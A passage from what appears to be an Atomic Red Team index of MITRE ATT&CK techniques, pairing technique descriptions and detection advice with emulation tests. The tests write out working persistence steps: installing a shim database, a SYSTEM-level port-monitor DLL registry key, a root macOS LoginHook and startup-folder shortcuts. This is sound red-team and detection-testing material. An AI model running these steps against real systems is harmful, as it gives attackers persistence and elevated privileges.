        url: http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf
        description: Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved
          May 4, 2020.
      - url: https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf
        description: Pierce, Sean. (2015, November). Defending Against Malicious Application
          Compatibility Shims. Retrieved June 22, 2017.
        source_name: Black Hat 2015 App Shim
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Event Triggered Execution: Application Shimming'
      description: "Adversaries may establish persistence and/or elevate privileges
        by executing malicious content triggered by application shims. The Microsoft
        Windows Application Compatibility Infrastructure/Framework (Application Shim)
        was created to allow for backward compatibility of software as the operating
        system codebase changes over time. For example, the application shimming feature
        allows developers to apply fixes to applications (without rewriting code)
        that were created for Windows XP so that it will work with Windows 10. (Citation:
        Elastic Process Injection July 2017)\n\nWithin the framework, shims are created
        to act as a buffer between the program (or more specifically, the Import Address
        Table) and the Windows OS. When a program is executed, the shim cache is referenced
        to determine if the program requires the use of the shim database (.sdb).
        If so, the shim database uses hooking to redirect the code as necessary in
        order to communicate with the OS. \n\nA list of all shims currently installed
        by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code>
        and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom
        databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code>
        and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo
        keep shims secure, Windows designed them to run in user mode so they cannot
        modify the kernel and you must have administrator privileges to install a
        shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)
        (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data
        Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH),
        and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims
        may allow an adversary to perform several malicious acts such as elevate privileges,
        install backdoors, disable defenses like Windows Defender, etc. (Citation:
        FireEye Application Shimming) Shims can also be abused to establish persistence
        by continuously being invoked by affected programs."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: |-
        There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):

        * Shim-Process-Scanner - checks memory of every running process for any shim flags
        * Shim-Detector-Lite - detects installation of custom shim databases
        * Shim-Guard - monitors registry for any shim installations
        * ShimScanner - forensic tool to find active shims in memory
        * ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)

        Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Module: Module Load'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_permissions_required:
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1546.011
    atomic_tests:
    - name: Application Shim Installation
      auto_generated_guid: 9ab27e22-ee62-4211-962b-d36d9a0e6a18
      description: "Install a shim database. This technique is used for privilege
        escalation and bypassing user access control.\nUpon execution, \"Installation
        of AtomicShim complete.\" will be displayed. To verify the shim behavior,
        run \nthe AtomicTest.exe from the <PathToAtomicsFolder>\\\\T1546.011\\\\bin
        directory. You should see a message box appear\nwith \"Atomic Shim DLL Test!\"
        as defined in the AtomicTest.dll. To better understand what is happening,
        review\nthe source code files is the <PathToAtomicsFolder>\\\\T1546.011\\\\src
        directory.\n"
      supported_platforms:
      - windows
      input_arguments:
        file_path:
          description: Path to the shim database file
          type: string
          default: PathToAtomicsFolder\T1546.011\bin\AtomicShimx86.sdb
      dependency_executor_name: powershell
      dependencies:
      - description: 'Shim database file must exist on disk at specified location
          (#{file_path})

          '
        prereq_command: 'if (Test-Path "#{file_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          New-Item -Type Directory (split-path "#{file_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicShimx86.sdb" -OutFile "#{file_path}"
      - description: 'AtomicTest.dll must exist at c:\Tools\AtomicTest.dll

          '
        prereq_command: 'if (Test-Path c:\Tools\AtomicTest.dll) {exit 0} else {exit
          1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path c:\Tools\AtomicTest.dll) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicTest.dll" -OutFile c:\Tools\AtomicTest.dll
      executor:
        command: 'sdbinst.exe "#{file_path}"

          '
        cleanup_command: 'sdbinst.exe -u "#{file_path}" >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: New shim database files created in the default shim database directory
      auto_generated_guid: aefd6866-d753-431f-a7a4-215ca7e3f13d
      description: |
        Upon execution, check the "C:\Windows\apppatch\Custom\" folder for the new shim database

        https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
      supported_platforms:
      - windows
      executor:
        command: |
          Copy-Item "$PathToAtomicsFolder\T1546.011\bin\T1546.011CompatDatabase.sdb" C:\Windows\apppatch\Custom\T1546.011CompatDatabase.sdb
          Copy-Item "$PathToAtomicsFolder\T1546.011\bin\T1546.011CompatDatabase.sdb" C:\Windows\apppatch\Custom\Custom64\T1546.011CompatDatabase.sdb
        cleanup_command: |
          Remove-Item C:\Windows\apppatch\Custom\T1546.011CompatDatabase.sdb -ErrorAction Ignore
          Remove-Item C:\Windows\apppatch\Custom\Custom64\T1546.011CompatDatabase.sdb -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Registry key creation and/or modification events for SDB
      auto_generated_guid: 9b6a06f9-ab5e-4e8d-8289-1df4289db02f
      description: |
        Create registry keys in locations where fin7 typically places SDB patches. Upon execution, output will be displayed describing
        the registry keys that were created. These keys can also be viewed using the Registry Editor.

        https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
      supported_platforms:
      - windows
      executor:
        command: |
          New-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom" -Name "AtomicRedTeamT1546.011" -Value "AtomicRedTeamT1546.011"
          New-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB" -Name "AtomicRedTeamT1546.011" -Value "AtomicRedTeamT1546.011"
        cleanup_command: |
          Remove-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom" -Name "AtomicRedTeamT1546.011" -ErrorAction Ignore
          Remove-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB" -Name "AtomicRedTeamT1546.011" -ErrorAction Ignore
        name: powershell
        elevation_required: true
  T1547.010:
    technique:
      modified: '2024-04-12T02:49:39.980Z'
      name: 'Boot or Logon Autostart Execution: Port Monitors'
      description: "Adversaries may use port monitors to run an adversary supplied
        DLL during system boot for persistence or privilege escalation. A port monitor
        can be set through the <code>AddMonitor</code> API call to set a DLL to be
        loaded at startup.(Citation: AddMonitor) This DLL can be located in <code>C:\\Windows\\System32</code>
        and will be loaded and run by the print spooler service, `spoolsv.exe`, under
        SYSTEM level permissions on boot.(Citation: Bloxham) \n\nAlternatively, an
        arbitrary DLL can be loaded if permissions allow writing a fully-qualified
        pathname for that DLL to the `Driver` value of an existing or new arbitrarily
        named subkey of <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>.
        The Registry key contains entries for the following:\n\n* Local Port\n* Standard
        TCP/IP Port\n* USB Monitor\n* WSD Port\n"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Stefan Kanthak
      - Travis Smith, Tripwire
      - Harun Küßner
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor process API calls to <code>AddMonitor</code>.(Citation:
        AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are
        abnormal. New DLLs written to the System32 directory that do not correlate
        with known good software or patching may be suspicious. \n\nMonitor Registry
        writes to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>,
        paying particular attention to changes in the \"Driver\" subkey. Run the Autoruns
        utility, which checks for this Registry key as a persistence mechanism.(Citation:
        TechNet Autoruns)"
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Creation'
      - 'Module: Module Load'
      - 'Process: OS API Execution'
      x_mitre_effective_permissions:
      - SYSTEM
      x_mitre_permissions_required:
      - SYSTEM
      - Administrator
      type: attack-pattern
      id: attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe
      created: '2020-01-24T19:46:27.750Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1547/010
        external_id: T1547.010
      - source_name: Bloxham
        description: Bloxham, B. (n.d.). Getting Windows to Play with Itself &#91;PowerPoint
          slides&#93;. Retrieved November 12, 2014.
        url: https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf
      - source_name: AddMonitor
        description: Microsoft. (n.d.). AddMonitor function. Retrieved November 12,
          2014.
        url: http://msdn.microsoft.com/en-us/library/dd183341
      - source_name: TechNet Autoruns
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1547.010
    atomic_tests:
    - name: Add Port Monitor persistence in Registry
      auto_generated_guid: d34ef297-f178-4462-871e-9ce618d44e50
      description: Add key-value pair to a Windows Port Monitor registry. On the subsequent
        reboot DLL will be execute under spoolsv with NT AUTHORITY/SYSTEM privilege.
      supported_platforms:
      - windows
      input_arguments:
        monitor_dll:
          description: Addition to port monitor registry key. Normally refers to a
            DLL name in C:\Windows\System32 but an arbitrary DLL can be specified
            with the absolute path.
          type: path
          default: "$PathToAtomicsFolder\\T1547.010\\bin\\PortMonitor.dll"
      executor:
        command: 'reg add "hklm\system\currentcontrolset\control\print\monitors\AtomicRedTeam"
          /v "Driver" /d "#{monitor_dll}" /t REG_SZ /f

          '
        cleanup_command: 'reg delete "hklm\system\currentcontrolset\control\print\monitors\AtomicRedTeam"
          /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
  T1037.002:
    technique:
      x_mitre_platforms:
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0
      created: '2020-01-10T16:01:15.995Z'
      x_mitre_version: '2.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1037.002
        url: https://attack.mitre.org/techniques/T1037/002
      - source_name: Login Scripts Apple Dev
        url: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html
        description: Apple. (2016, September 13). Customizing Login and Logout. Retrieved
          April 1, 2022.
      - source_name: LoginWindowScripts Apple Dev
        url: https://developer.apple.com/documentation/devicemanagement/loginwindowscripts
        description: Apple. (n.d.). LoginWindowScripts. Retrieved April 1, 2022.
      - source_name: Wardle Persistence Chapter
        url: https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf
        description: 'Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved
          April 13, 2022.'
      - source_name: S1 macOs Persistence
        url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/
        description: Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved
          March 27, 2020.
      x_mitre_deprecated: false
      revoked: false
      description: "Adversaries may use a Login Hook to establish persistence executed
        upon user logon. A login hook is a plist file that points to a specific script
        to execute with root privileges upon user logon. The plist file is located
        in the <code>/Library/Preferences/com.apple.loginwindow.plist</code> file
        and can be modified using the <code>defaults</code> command-line utility.
        This behavior is the same for logout hooks where a script can be executed
        upon user logout. All hooks require administrator permissions to modify or
        create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts
        Apple Dev) \n\nAdversaries can add or insert a path to a malicious script
        in the <code>com.apple.loginwindow.plist</code> file, using the <code>LoginHook</code>
        or <code>LogoutHook</code> key-value pair. The malicious script is executed
        upon the next user login. If a login hook already exists, adversaries can
        add additional commands to an existing login hook. There can be only one login
        and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation:
        Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11
        version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)
        and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) "
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Boot or Logon Initialization Scripts: Logon Script (Mac)'
      x_mitre_detection: Monitor logon scripts for unusual access by abnormal users
        or at abnormal times. Look for files added or modified by unusual accounts
        outside of normal administration duties. Monitor running process for actions
        that could be indicative of abnormal programs or executables running upon
        logon.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1037.002
    atomic_tests:
    - name: Logon Scripts - Mac
      auto_generated_guid: f047c7de-a2d9-406e-a62b-12a09d9516f4
      description: 'Mac logon script

        '
      supported_platforms:
      - macos
      executor:
        steps: "1. Create the required plist file\n\n    sudo touch /private/var/root/Library/Preferences/com.apple.loginwindow.plist\n\n2.
          Populate the plist with the location of your shell script\n\n    sudo defaults
          write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh\n\n3.
          Create the required plist file in the target user's Preferences directory\n\n\t
          \ touch /Users/$USER/Library/Preferences/com.apple.loginwindow.plist\n\n4.
          Populate the plist with the location of your shell script\n\n\t  defaults
          write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh\n"
        name: manual
  T1205:
    technique:
      modified: '2022-11-08T14:00:00.188Z'
      name: Traffic Signaling
      description: |-
        Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.

        Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).

        The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

        On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet.  Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.  Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks)  To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.

        Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: |-
        Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.

        The Wake-on-LAN magic packet consists of 6 bytes of <code>FF</code> followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_is_subtechnique: false
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '2.4'
      x_mitre_contributors:
      - Tony Lee
      - Josh Day, Gigamon
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Connection Creation'
      - 'Process: Process Creation'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_defense_bypassed:
      - Defensive network service scanning
      type: attack-pattern
      id: attack-pattern--451a9977-d255-43c9-b431-66de80130c8c
      created: '2018-04-18T17:59:24.739Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1205
        external_id: T1205
      - source_name: Bleeping Computer - Ryuk WoL
        description: Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan
          To Encrypt Offline Devices. Retrieved February 11, 2021.
        url: https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/
      - source_name: AMD Magic Packet
        description: AMD. (1995, November 1). Magic Packet Technical White Paper.
          Retrieved February 17, 2021.
        url: https://www.amd.com/system/files/TechDocs/20213.pdf
      - source_name: Mandiant - Synful Knock
        description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful
          Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.
        url: https://www.mandiant.com/resources/synful-knock-acis
      - source_name: Cisco Synful Knock Evolution
        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
          IOS devices. Retrieved October 19, 2020.
        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
      - source_name: Hartrell cd00r 2002
        description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible
          backdoor. Retrieved October 13, 2018.'
        url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
      - source_name: Cisco Blog Legacy Device Attacks
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
      - source_name: GitLab WakeOnLAN
        description: Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February
          17, 2021.
        url: https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1547.009:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Boot or Logon Autostart Execution: Shortcut Modification'
      description: |-
        Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.

        Adversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence ) Although often used as payloads in an infection chain (e.g. [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)), adversaries may also create a new shortcut as a means of indirection, while also abusing [Masquerading](https://attack.mitre.org/techniques/T1036) to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.

        Shortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. [Browser Extensions](https://attack.mitre.org/techniques/T1176)) to persistently launch malware.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_contributors:
      - David French, Elastic
      - Bobby, Filar, Elastic
      - Travis Smith, Tripwire
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.

        Monitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'File: File Creation'
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179
      created: '2020-01-24T19:00:32.917Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1547/009
        external_id: T1547.009
      - source_name: 'Shortcut for Persistence '
        description: Elastic. (n.d.). Shortcut File Written or Modified for Persistence.
          Retrieved June 1, 2022.
        url: https://www.elastic.co/guide/en/security/7.17/shortcut-file-written-or-modified-for-persistence.html#shortcut-file-written-or-modified-for-persistence
      - source_name: BSidesSLC 2020 - LNK Elastic
        description: French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger
          Than Its Weakest LNK. Retrieved November 30, 2020.
        url: https://www.youtube.com/watch?v=nJ0UsyiUEqQ
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
      identifier: T1547.009
    atomic_tests:
    - name: Shortcut Modification
      auto_generated_guid: ce4fc678-364f-4282-af16-2fb4c78005ce
      description: |
        This test to simulate shortcut modification and then execute. example shortcut (*.lnk , .url) strings check with powershell;
        gci -path "C:\Users" -recurse -include *.url -ea SilentlyContinue | Select-String -Pattern "exe" | FL.
        Upon execution, calc.exe will be launched.
      supported_platforms:
      - windows
      input_arguments:
        shortcut_file_path:
          description: shortcut modified and execute
          type: path
          default: "%temp%\\T1547.009_modified_shortcut.url"
      executor:
        command: |
          echo [InternetShortcut] > #{shortcut_file_path}
          echo URL=C:\windows\system32\calc.exe >> #{shortcut_file_path}
          #{shortcut_file_path}
        cleanup_command: 'del -f #{shortcut_file_path} >nul 2>&1

          '
        name: command_prompt
    - name: Create shortcut to cmd in startup folders
      auto_generated_guid: cfdc954d-4bb0-4027-875b-a1893ce406f2
      description: |
        LNK file to launch CMD placed in startup folder. Upon execution, open File Explorer and browse to "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"
        to view the new shortcut.
      supported_platforms:
      - windows
      executor:
        command: |
          $Shell = New-Object -ComObject ("WScript.Shell")
          $ShortCut = $Shell.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk")
          $ShortCut.TargetPath="cmd.exe"
          $ShortCut.WorkingDirectory = "C:\Windows\System32";
          $ShortCut.WindowStyle = 1;
          $ShortCut.Description = "T1547.009.";
          $ShortCut.Save()

          $Shell = New-Object -ComObject ("WScript.Shell")
          $ShortCut = $Shell.CreateShortcut("$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk")
          $ShortCut.TargetPath="cmd.exe"
          $ShortCut.WorkingDirectory = "C:\Windows\System32";
          $ShortCut.WindowStyle = 1;
          $ShortCut.Description = "T1547.009.";
          $ShortCut.Save()
        cleanup_command: |
          Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk" -ErrorAction Ignore
          Remove-Item "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk" -ErrorAction Ignore
        name: powershell
        elevation_required: true
  T1525:
    technique:
      x_mitre_platforms:
      - IaaS
      - Containers
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Yossi Weizman, Azure Defender Research Team
      - Vishwas Manral, McAfee
      - Praetorian
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f
      type: attack-pattern
      created: '2019-09-04T12:04:03.552Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1525
        url: https://attack.mitre.org/techniques/T1525
      - source_name: Rhino Labs Cloud Image Backdoor Technique Sept 2019
        url: https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/
        description: Rhino Labs. (2019, August). Exploiting AWS ECR and ECS with the
          Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.
      - source_name: Rhino Labs Cloud Backdoor September 2019
        url: https://github.com/RhinoSecurityLabs/ccat
        description: Rhino Labs. (2019, September). Cloud Container Attack Tool (CCAT).
          Retrieved September 12, 2019.
      modified: '2022-05-11T14:00:00.188Z'
      name: Implant Internal Image
      description: |-
        Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)

        A tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: "Monitor interactions with images and containers by users
        to identify ones that are added or modified anomalously.\n\nIn containerized
        environments, changes may be detectable by monitoring the Docker daemon logs
        or setting up and monitoring Kubernetes audit logs depending on registry configuration. "
      x_mitre_version: '2.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Image: Image Metadata'
      - 'Image: Image Creation'
      - 'Image: Image Modification'
      x_mitre_permissions_required:
      - User
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1547.005:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462
      type: attack-pattern
      created: '2020-01-24T17:16:11.806Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1547.005
        url: https://attack.mitre.org/techniques/T1547/005
      - url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
        description: Graeber, M. (2014, October). Analysis of Malicious Security Support
          Provider DLLs. Retrieved March 1, 2017.
        source_name: Graeber 2014
      - url: https://technet.microsoft.com/en-us/library/dn408187.aspx
        description: Microsoft. (2013, July 31). Configuring Additional LSA Protection.
          Retrieved June 24, 2015.
        source_name: Microsoft Configure LSA
      modified: '2021-04-29T14:49:39.188Z'
      name: 'Boot or Logon Autostart Execution: Security Support Provider'
      description: |-
        Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.

